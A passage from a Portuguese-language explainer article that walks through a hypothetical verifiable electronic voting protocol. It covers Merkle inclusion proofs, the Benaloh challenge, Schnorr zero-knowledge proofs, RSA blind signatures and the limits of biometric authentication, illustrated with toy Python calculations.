</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">cur</span> <span class="o">==</span> <span class="n">root</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">prova do eleitor 4:
</span></span><span class="line"><span class="cl">  (dir) e0e9d38f9ccb7a41...  (irmão: folha do eleitor 5)
</span></span><span class="line"><span class="cl">  (dir) 3149c3bf17d98fbc...  (irmão: nó dos eleitores 6-7)
</span></span><span class="line"><span class="cl">  (esq) 3b902c849a40619b...  (irmão: nó dos eleitores 0-3)
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">verificação local: True
</span></span><span class="line"><span class="cl">tentando folha adulterada: False</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Você pega seu serial, concatena com os 3 hashes da prova na ordem certa, hasheia três vezes e confere se chegou na raiz pública. Se chegou, <strong>é matematicamente impossível</strong> que seu voto não esteja na árvore — porque produzir uma prova falsa exigiria encontrar uma colisão no SHA-256, e ninguém no planeta sabe fazer isso. Se alguém trocar seu voto depois, sua prova deixa de funcionar e você tem a evidência da fraude na mão. Numa eleição real com 150 milhões de votos, a prova teria uns 28 hashes — cabe num recibo de papel ou num QR code.</p>
<p>Repare no que acabou de acontecer: você provou que <strong>uma informação está na árvore pública</strong> e que <strong>ninguém mexeu nela</strong>, carregando pra casa apenas um número de 32 bytes que, sozinho, não diz absolutamente nada sobre o conteúdo. É isso que as pessoas querem dizer com &ldquo;zero knowledge&rdquo; nesse contexto: a verificação acontece sem que o conhecimento (o voto) precise circular.</p>
<h2>Peça 4: o desafio de Benaloh — conferindo a urna na hora<span class="hx:absolute hx:-mt-20" id="peça-4-o-desafio-de-benaloh--conferindo-a-urna-na-hora"></span>
    <a href="#pe%c3%a7a-4-o-desafio-de-benaloh--conferindo-a-urna-na-hora" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Sobrou um ponto cego. A urna mostra na tela &ldquo;voto registrado&rdquo; e imprime seu serial <code>C</code>. Em casa, você confere que <code>C</code> está na árvore. Tudo certo? Nem tanto. E se a urna tiver <strong>mentido</strong> e comprometido outro voto? Na tela ela mostra o candidato que você escolheu, mas por dentro calcula o compromisso de outro. Você jamais perceberia, porque o compromisso é opaco por design. É a propriedade de ocultação trabalhando contra você.</p>
<p>A solução clássica é do criptógrafo Josh Benaloh, e ficou conhecida como <strong>desafio de Benaloh</strong> (ou <em>cast-or-challenge</em>). A ideia: depois que a urna mostra o compromisso <code>C</code> na tela, mas <strong>antes</strong> de você confirmar, existem duas opções:</p>
<ul>
<li><strong>Confirmar</strong>: o voto vale, entra na árvore e o nonce é descartado pra sempre.</li>
<li><strong>Desafiar</strong>: você declara aquela cédula um <strong>voto de teste</strong>. A urna é obrigada a revelar o nonce e o voto que ela pôs dentro do compromisso, e você refaz a conta na hora — num app independente, no seu próprio celular, não no software da urna:</li>
</ul>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># a urna mostrou na tela: C = 1</span>
</span></span><span class="line"><span class="cl"><span class="c1"># você desafiou; a urna revela: voto=1, nonce=3</span>
</span></span><span class="line"><span class="cl"><span class="n">pedersen</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">3</span><span class="p">)</span> <span class="o">==</span> <span class="mi">1</span>   <span class="c1"># True -&gt; a urna comprometeu exatamente o que você escolheu</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Se bate, a urna foi honesta <strong>naquela cédula</strong>. A cédula de teste é anulada, não entra na apuração — o nonce revelado a tornaria legível — e você vota de novo, agora pra valer.</p>
<p>Agora suponha uma urna adulterada, que troca uma fração dos votos. Você escolhe <code>voto=1</code>; ela registra por dentro <code>voto=0</code> e mostra <code>C = 12</code> na tela (<code>pedersen(0, 7) = 12</code>). Se você <strong>confirmar</strong>, a fraude passa batida. Mas se você <strong>desafiar</strong>, a urna está encurralada: precisa revelar um par <code>(voto, nonce)</code> que abra <code>C = 12</code>. O único que ela conhece é <code>(0, 7)</code> — e revelar isso expõe a troca na sua frente: &ldquo;eu votei 1!&rdquo;. Abrir como <code>voto=1</code> exigiria achar um nonce <code>n</code> com <code>pedersen(1, n) = 12</code>, que é o problema do logaritmo discreto de novo. Com nosso primo de brinquedo dá pra achar por força bruta (existe: <code>n = 10</code>), mas com primos de 2048 bits a urna trapaceira simplesmente não consegue produzir a resposta.</p>
<p>E o que fecha a armadilha: a urna <strong>não sabe de antemão</strong> se você vai confirmar ou desafiar. A decisão é sua, tomada depois que o compromisso já foi mostrado. Se uma parcela dos eleitores testa algumas cédulas antes de votar pra valer, uma urna que adultera votos em escala é pega com probabilidade esmagadora. Sistemas reais de votação verificável, como o Helios e o ElectionGuard, usam exatamente esse mecanismo.</p>
<p>E note que isso não fere o sigilo de nada: o nonce revelado é de uma cédula <strong>anulada</strong>, que não conta. O voto que vale continua com o nonce descartado e o compromisso impenetrável.</p>
<h2>Peça 5: prova de conhecimento zero de verdade — Schnorr<span class="hx:absolute hx:-mt-20" id="peça-5-prova-de-conhecimento-zero-de-verdade--schnorr"></span>
    <a href="#pe%c3%a7a-5-prova-de-conhecimento-zero-de-verdade--schnorr" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Falta mais uma peça. Quem garante que cada compromisso na árvore contém um <strong>voto válido</strong> — e não, digamos, <code>voto = 500</code>, que inflaria o resultado? A urna precisa provar que o compromisso abre pra um valor legítimo <strong>sem abrir o compromisso</strong>. Isso é uma prova de conhecimento zero no sentido estrito.</p>
<p>O exemplo canônico, e que dá pra demonstrar com números pequenos, é o protocolo de <strong>Schnorr</strong>: provar que você conhece um segredo <code>s</code> tal que <code>y = g^s mod p</code>, sem revelar <code>s</code>. A intuição antes da matemática: é a caverna de Ali Babá. A caverna tem duas passagens que se encontram numa porta trancada. Você prova que tem a chave entrando por um lado e saindo pelo que o verificador pedir — sem nunca mostrar a chave. Se não tivesse a chave, você só acertaria o pedido por sorte, 50% das vezes; depois de 20 rodadas, a chance de enganar é menor que uma em um milhão.</p>
<p>A versão matemática, com nossos números de brinquedo (<code>p = 23</code>, <code>g = 4</code>, ordem <code>q = 11</code>):</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">segredo</span> <span class="o">=</span> <span class="mi">7</span>
</span></span><span class="line"><span class="cl"><span class="n">y</span> <span class="o">=</span> <span class="nb">pow</span><span class="p">(</span><span class="n">g</span><span class="p">,</span> <span class="n">segredo</span><span class="p">,</span> <span class="n">p</span><span class="p">)</span>   <span class="c1"># y = 4^7 mod 23 = 8  (valor público)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 1. compromisso: o provador escolhe r aleatório e envia t</span>
</span></span><span class="line"><span class="cl"><span class="n">r</span> <span class="o">=</span> <span class="mi">3</span>
</span></span><span class="line"><span class="cl"><span class="n">t</span> <span class="o">=</span> <span class="nb">pow</span><span class="p">(</span><span class="n">g</span><span class="p">,</span> <span class="n">r</span><span class="p">,</span> <span class="n">p</span><span class="p">)</span>          <span class="c1"># t = 4^3 mod 23 = 18</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 2. desafio: o verificador escolhe c aleatório</span>
</span></span><span class="line"><span class="cl"><span class="n">c</span> <span class="o">=</span> <span class="mi">5</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 3. resposta: o provador calcula z</span>
</span></span><span class="line"><span class="cl"><span class="n">z</span> <span class="o">=</span> <span class="p">(</span><span class="n">r</span> <span class="o">+</span> <span class="n">c</span> <span class="o">*</span> <span class="n">segredo</span><span class="p">)</span> <span class="o">%</span> <span class="n">q</span>  <span class="c1"># z = (3 + 5*7) mod 11 = 5</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># verificação: g^z == t * y^c (mod p)</span>
</span></span><span class="line"><span class="cl"><span class="n">esq</span> <span class="o">=</span> <span class="nb">pow</span><span class="p">(</span><span class="n">g</span><span class="p">,</span> <span class="n">z</span><span class="p">,</span> <span class="n">p</span><span class="p">)</span>                 <span class="c1"># 4^5 mod 23 = 12</span>
</span></span><span class="line"><span class="cl"><span class="nb">dir</span> <span class="o">=</span> <span class="p">(</span><span class="n">t</span> <span class="o">*</span> <span class="nb">pow</span><span class="p">(</span><span class="n">y</span><span class="p">,</span> <span class="n">c</span><span class="p">,</span> <span class="n">p</span><span class="p">))</span> <span class="o">%</span> <span class="n">p</span>       <span class="c1"># 18 * 8^5 mod 23 = 12</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">esq</span> <span class="o">==</span> <span class="nb">dir</span><span class="p">)</span>                  <span class="c1"># True</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Funciona porque <code>g^z = g^(r + c·s) = g^r · (g^s)^c = t · y^c</code>. A álgebra fecha. Agora observe o que o verificador viu: os números <code>t</code>, <code>c</code>, <code>z</code> e a conferência final. Em nenhum momento o segredo <code>s = 7</code> apareceu. E um impostor que não sabe <code>s</code> não consegue responder a um desafio arbitrário: se ele chutar <code>z = 2</code>, o verificador calcula <code>g^2 = 16 ≠ 12</code> e a fraude aparece.</p>
<p>E por que o verificador aprende <strong>nada</strong> sobre <code>s</code>, e não apenas &ldquo;pouco&rdquo;? Porque a conversa inteira poderia ter sido fabricada por alguém que <strong>não sabe o segredo</strong>, nesta ordem invertida:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># simulador: escolhe c e z PRIMEIRO, depois calcula t que fecha a equação</span>
</span></span><span class="line"><span class="cl"><span class="n">c_sim</span><span class="p">,</span> <span class="n">z_sim</span> <span class="o">=</span> <span class="mi">5</span><span class="p">,</span> <span class="mi">9</span>
</span></span><span class="line"><span class="cl"><span class="n">t_sim</span> <span class="o">=</span> <span class="p">(</span><span class="nb">pow</span><span class="p">(</span><span class="n">g</span><span class="p">,</span> <span class="n">z_sim</span><span class="p">,</span> <span class="n">p</span><span class="p">)</span> <span class="o">*</span> <span class="nb">pow</span><span class="p">(</span><span class="n">y</span><span class="p">,</span> <span class="o">-</span><span class="n">c_sim</span> <span class="o">%</span> <span class="n">q</span><span class="p">,</span> <span class="n">p</span><span class="p">))</span> <span class="o">%</span> <span class="n">p</span>  <span class="c1"># t = 8</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># conferência do transcrito forjado:</span>
</span></span><span class="line"><span class="cl"><span class="nb">pow</span><span class="p">(</span><span class="n">g</span><span class="p">,</span> <span class="n">z_sim</span><span class="p">,</span> <span class="n">p</span><span class="p">)</span>              <span class="c1"># 4^9 mod 23 = 13</span>
</span></span><span class="line"><span class="cl"><span class="p">(</span><span class="n">t_sim</span> <span class="o">*</span> <span class="nb">pow</span><span class="p">(</span><span class="n">y</span><span class="p">,</span> <span class="n">c_sim</span><span class="p">,</span> <span class="n">p</span><span class="p">))</span> <span class="o">%</span> <span class="n">p</span>  <span class="c1"># 8 * 8^5 mod 23 = 13  -&gt; bate!</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>O transcrito forjado <code>(t=8, c=5, z=9)</code> passa na verificação e é <strong>indistinguível</strong> de um transcrito real. Se qualquer um consegue fabricar uma conversa válida sem saber o segredo, então a conversa real não pode conter informação nenhuma sobre o segredo. É isso que &ldquo;conhecimento zero&rdquo; significa formalmente. (Pra usar fora de um laboratório, o desafio <code>c</code> é derivado por hash do compromisso — a transformação Fiat-Shamir — e a prova vira um objeto único, não-interativo, que qualquer um verifica offline.)</p>
<p>Na nossa eleição hipotética, a urna publica junto com cada voto uma prova desse tipo — na prática, uma variante em disjunção (&ldquo;o voto é 0 <strong>ou</strong> é 1&rdquo;, sem dizer qual) — e qualquer auditor verifica que todo voto na árvore é válido, sem nunca ver voto nenhum.</p>
<h2>Peça 6: quem impede os votos fantasmas?<span class="hx:absolute hx:-mt-20" id="peça-6-quem-impede-os-votos-fantasmas"></span>
    <a href="#pe%c3%a7a-6-quem-impede-os-votos-fantasmas" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Resta um furo, e é um dos favoritos de quem desconfia de eleição digital: o que impede a autoridade de <strong>enfiar votos inventados na árvore</strong>? Cada compromisso na Merkle tree carrega uma prova ZK de que contém um voto válido — mas a prova só garante que o valor é 0 ou 1. Mil votos fantasmas seriam mil compromissos perfeitamente válidos, com provas perfeitamente corretas. A árvore é pública, qualquer um pode contar as folhas&hellip; mas quem garante que deveriam ser 8 e não 8 mil?</p>
<p>A primeira resposta é a replicação. A árvore segue o modelo das <em>transparency logs</em> — o mesmo Certificate Transparency que protege os certificados HTTPS que você usa o dia inteiro: um publicador escreve, e dezenas de observadores independentes (partidos, OAB, universidades, imprensa, você) copiam a árvore, assinam a raiz e conferem entre si. Reescrever o histórico exigiria convencer todos eles a aceitar uma raiz diferente da que já assinaram.</p>
<p>Isso protege o que já foi publicado. Mas e a <strong>criação</strong> de votos fantasmas? Aí entra a peça mais elegante de todas, e ela é do mesmo David Chaum que inventou o dinheiro digital e as mix-nets: a <strong>assinatura cega</strong> (<em>blind signature</em>, 1982).</p>
<p>O fluxo: você se autentica na mesa como hoje — documento, biometria. Na cabine, a urna calcula seu compromisso (Peça 2), mas antes de publicá-lo precisa de uma credencial da mesa. Ela <strong>cega</strong> o compromisso com um fator aleatório e manda pra mesa só o valor cego — e aqui estar online não é problema nenhum, como vimos na seção do air gap. A mesa, que já registrou sua autenticação, assina uma única vez, sem ver o conteúdo. A urna descega a assinatura e publica o par <code>(compromisso, assinatura)</code>. No fim, a mesa não faz ideia de qual compromisso assinou — logo, não consegue vincular sua identidade ao seu voto. Com RSA de brinquedo, dá pra ver a mágica acontecendo:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># RSA de brinquedo da mesa: n=3233, e=17 (público), d=2753 (privado)</span>
</span></span><span class="line"><span class="cl"><span class="n">n</span><span class="p">,</span> <span class="n">e</span><span class="p">,</span> <span class="n">d</span> <span class="o">=</span> <span class="mi">3233</span><span class="p">,</span> <span class="mi">17</span><span class="p">,</span> <span class="mi">2753</span>
</span></span><span class="line"><span class="cl"><span class="n">C</span> <span class="o">=</span> <span class="mi">16</span>        <span class="c1"># seu compromisso Pedersen, o mesmo da Peça 3</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 1. a urna cega o compromisso com um fator aleatório r</span>
</span></span><span class="line"><span class="cl"><span class="n">r</span> <span class="o">=</span> <span class="mi">7</span>
</span></span><span class="line"><span class="cl"><span class="n">cego</span> <span class="o">=</span> <span class="p">(</span><span class="n">C</span> <span class="o">*</span> <span class="nb">pow</span><span class="p">(</span><span class="n">r</span><span class="p">,</span> <span class="n">e</span><span class="p">,</span> <span class="n">n</span><span class="p">))</span> <span class="o">%</span> <span class="n">n</span>       <span class="c1"># 2341 -&gt; só isso vai pra mesa</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 2. a mesa, que já registrou sua autenticação, assina o valor CEGO</span>
</span></span><span class="line"><span class="cl"><span class="n">ass_cego</span> <span class="o">=</span> <span class="nb">pow</span><span class="p">(</span><span class="n">cego</span><span class="p">,</span> <span class="n">d</span><span class="p">,</span> <span class="n">n</span><span class="p">)</span> <span class="o">%</span> <span class="n">n</span>      <span class="c1"># 216</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 3. a urna remove o fator cego e publica (C, s) na árvore</span>
</span></span><span class="line"><span class="cl"><span class="n">s</span> <span class="o">=</span> <span class="p">(</span><span class="n">ass_cego</span> <span class="o">*</span> <span class="nb">pow</span><span class="p">(</span><span class="n">r</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="n">n</span><span class="p">))</span> <span class="o">%</span> <span class="n">n</span>  <span class="c1"># 2802</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># qualquer auditor verifica: s^e mod n == C ?</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="nb">pow</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="n">e</span><span class="p">,</span> <span class="n">n</span><span class="p">))</span>   <span class="c1"># 16 -&gt; o compromisso, com assinatura válida!</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Repare: a mesa só viu o número 2341, que pra ela é ruído. Ela assinou 216 sem saber que estava assinando o seu <code>C = 16</code>. Mesmo assim, o par <code>(C, s)</code> passa na verificação de qualquer auditor. É uma assinatura digital normal — <code>s</code> é exatamente <code>C^d mod n</code> — só que produzida sem que o signatário visse o documento. Parece truque de mágico, mas é só álgebra do RSA: cegar multiplica por <code>r^e</code>; assinar eleva tudo a <code>d</code>, e como <code>e·d ≡ 1</code>, sobra <code>C^d · r</code>; descegar divide por <code>r</code> e resta <code>C^d</code>.</p>
<p>Agora monte o quadro completo: <strong>uma folha só entra na árvore se vier com duas coisas — a prova ZK de validade (Peça 5) e uma credencial assinada pela mesa (Peça 6).</strong> A mesa emite uma credencial por autenticação, e autenticação é evento público: tem fila na seção, mesário, fiscal de partido, log biométrico, contagem de comparecimento publicada por seção. No fim do dia, a conta que qualquer um confere é:</p>
<p><strong>número de folhas na árvore == número de eleitores autenticados.</strong></p>
<p>Voto fantasma é folha sem credencial (não entra) ou credencial sem eleitor (infla a contagem e aparece). Remover um voto legítimo quebra a prova de inclusão do recibo (Peça 3). Alterar um voto publicado quebra os hashes nas cópias dos observadores. Roubar credenciais exigiria fraudar a biometria na frente dos fiscais. Cada caminho de fraude bate numa parede diferente — e todas as paredes são verificáveis por qualquer um, de casa.</p>
<h2>O elo mais fraco: quem prova que você é você?<span class="hx:absolute hx:-mt-20" id="o-elo-mais-fraco-quem-prova-que-você-é-você"></span>
    <a href="#o-elo-mais-fraco-quem-prova-que-voc%c3%aa-%c3%a9-voc%c3%aa" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Tudo o que veio antes desta seção é matemática. Mas tem uma porta que nenhuma matemática tranca: a autenticação. Nenhum algoritmo prova que o ser humano parado na sua frente é quem diz ser. Esse é, honestamente, o elo mais fraco do sistema inteiro — e vale encarar de frente.</p>
<p>E aqui o Brasil simplifica o problema, porque já pagou a parte cara: o cadastro biométrico do eleitorado existe e cobre mais de 80% dos eleitores — mais de 124 milhões de pessoas, <a href="https://www.tse.jus.br/comunicacao/noticias/2024/Fevereiro/eleitores-sem-cadastro-biometrico-podem-votar-normalmente"target="_blank" rel="noopener">segundo o TSE</a>. A deduplicação nacional já rodou: um mesmo dedo só existe uma vez no cadastro, por mais que venha acompanhado de dez documentos falsos. E na seção a digital já libera o voto — em 2026, <a href="https://www.tre-mg.jus.br/comunicacao/noticias/2026/Julho/manual-do-eleitor-entenda-como-vai-funcionar-a-biometria-nas-eleicoes-2026"target="_blank" rel="noopener">em todas as seções do país</a>. Pro sistema hipotético deste artigo, a autenticação biométrica é de graça: é reusar o que já está de pé.</p>
<p>Claro que esse cadastro existir é, ele mesmo, a aposta de privacidade: biometria é dado irrevogável — senha você troca, sua digital não. O Aadhaar, o cadastro biométrico da Índia, teve incidentes que expuseram dados de mais de um bilhão de pessoas; a OPM, o RH do governo americano, perdeu 5,6 milhões de impressões digitais num único ataque, em 2015. Um banco de dados biométrico nacional é um ponto único de falha catastrófica e permanente — e o Brasil já fez essa aposta. O sistema hipotético não a piora; só herda.</p>
<p>Pra quem está fora do cadastro biométrico, a seção cai pro documento com foto — e documento se falsifica. Provavelmente se falsifica hoje. Mas repare no que a arquitetura faz com esse problema: uma autenticação forjada emite <strong>uma</strong> credencial, que gera <strong>uma</strong> folha na árvore. Pra fraudar em escala, o criminoso precisa de gente de carne e osso se apresentando pessoalmente, na frente de mesário e fiscal, uma vez por voto falso. É fraude de varejo: cara, visível, lenta. Mil votos falsos exigem mil corpos — e aí já não é fraude digital silenciosa, é logística de ônibus fretado que todo mundo vê passar. O sistema não impede a falsificação; ele <strong>limita o estrago por falsificação a exatamente um voto</strong> e empurra o custo pro mundo físico.</p>
<p>E as anomalias aparecem: a equação da Peça 6 — folhas == autenticações — pode ser conferida seção por seção. Uma seção com 400 eleitores cadastrados e 420 autenticações chama atenção. Padrões regionais de comparecimento acima de 100% chamam atenção. E se a paranoia for grande, a chave de assinatura da mesa pode ser fragmentada como a chave da eleição, exigindo quorum pra emitir credencial.</p>
<p>Resumindo com honestidade: o elo continua físico e humano — um humano provando, uma vez, em público, que está no cadastro — e nenhum sistema, por mais perfeito que seja, o elimina. O melhor desenho possível faz duas coisas com ele: encolhe a superfície de confiança até esse evento único e torna as falhas dele <strong>visíveis</strong> em vez de silenciosas. Com a biometria valendo em todas as seções em 2026, a falsificação de identidade vira o caminho mais caro e menos escalável de todos — que é exatamente onde um sistema bem desenhado quer que ela esteja. Não tem almoço grátis, e fingir que tem é o tipo de discurso que este artigo inteiro se recusa a fazer.</p>
<h2>Juntando tudo: o protocolo completo<span class="hx:absolute hx:-mt-20" id="juntando-tudo-o-protocolo-completo"></span>
    <a href="#juntando-tudo-o-protocolo-completo" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>A eleição hipoteticamente perfeita ficaria assim:</p>
<ol>
<li><strong>Preparação.</strong> Um grupo de autoridades independentes (TSE, OAB, partidos, sociedade civil) gera em conjunto a chave pública da eleição. A chave privada correspondente fica fragmentada: nenhuma autoridade sozinha consegue decriptar nada; só uma maioria agindo junta.</li>
<li><strong>Autenticação.</strong> O eleitor se identifica na mesa — documento, biometria, como hoje — e a mesa registra a autenticação. Isso autoriza a emissão de <strong>uma</strong> credencial: a assinatura cega de um compromisso, sem que a mesa veja o conteúdo. Nenhum vínculo entre identidade e voto.</li>
<li><strong>Votação.</strong> O eleitor escolhe o candidato na tela. A urna gera um nonce aleatório, calcula o compromisso Pedersen e o ciphertext ElGamal do mesmo voto (o compromisso vira o serial do recibo; o ciphertext é o que será apurado), produz a prova ZK de validade e mostra o compromisso na tela. O eleitor então decide: confirma, e o nonce é descartado — ou desafia, e a urna revela o nonce pra conferência imediata, a cédula é anulada e ele vota de novo. Confirmado, a urna cega o compromisso, a mesa assina sem vê-lo e a urna descega a assinatura.</li>
<li><strong>Publicação.</strong> O compromisso entra numa Merkle tree pública, junto com a prova ZK e a credencial — replicada e assinada por múltiplos observadores independentes. Sem credencial, não entra.</li>
<li><strong>Recibo.</strong> O eleitor leva pra casa um papel com o serial. Ele <strong>não consegue</strong> provar pra ninguém em quem votou — nem que queira, porque não tem o nonce.</li>
<li><strong>Verificação individual.</strong> Em casa, o eleitor baixa a árvore (ou usa qualquer site independente) e confere que seu serial está lá, com a prova de inclusão. Se não estiver, ele tem prova material da fraude.</li>
<li><strong>Verificação universal.</strong> Qualquer cidadão, universidade ou partido refaz a árvore inteira, confere a raiz, valida todas as provas ZK e credenciais, e confere se o número de folhas bate com o total de autenticações publicado por seção.</li>
<li><strong>Apuração.</strong> No fim, os votos encriptados passam por um mix-net (são re-embaralhados e re-encriptados, cortando o vínculo com a posição original) e as autoridades decriptam em conjunto, provando cada passo. O total bate com a raiz pública ou a fraude é evidente.</li>
</ol>
<p>Repare no que mudou em relação ao sistema atual: <strong>não é mais preciso confiar no TSE, na urna, nem em auditor nenhum.</strong> Cada propriedade é verificável individualmente por qualquer pessoa com um computador. É o mesmo princípio que faz o Bitcoin funcionar sem banco central: don&rsquo;t trust, verify.</p>
<p>Antes que alguém anime demais: isso é uma simplificação. Um sistema real precisa ainda resolver credenciais anônimas mais robustas que nossa assinatura cega de brinquedo, disponibilidade da árvore, e uma porção de detalhes operacionais. O ponto aqui é o mecanismo central, não o projeto completo.</p>
<h2>E por que isso nunca funcionaria<span class="hx:absolute hx:-mt-20" id="e-por-que-isso-nunca-funcionaria"></span>
    <a href="#e-por-que-isso-nunca-funcionaria" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Agora a parte que quase ninguém que propõe esses sistemas quer ouvir.</p>
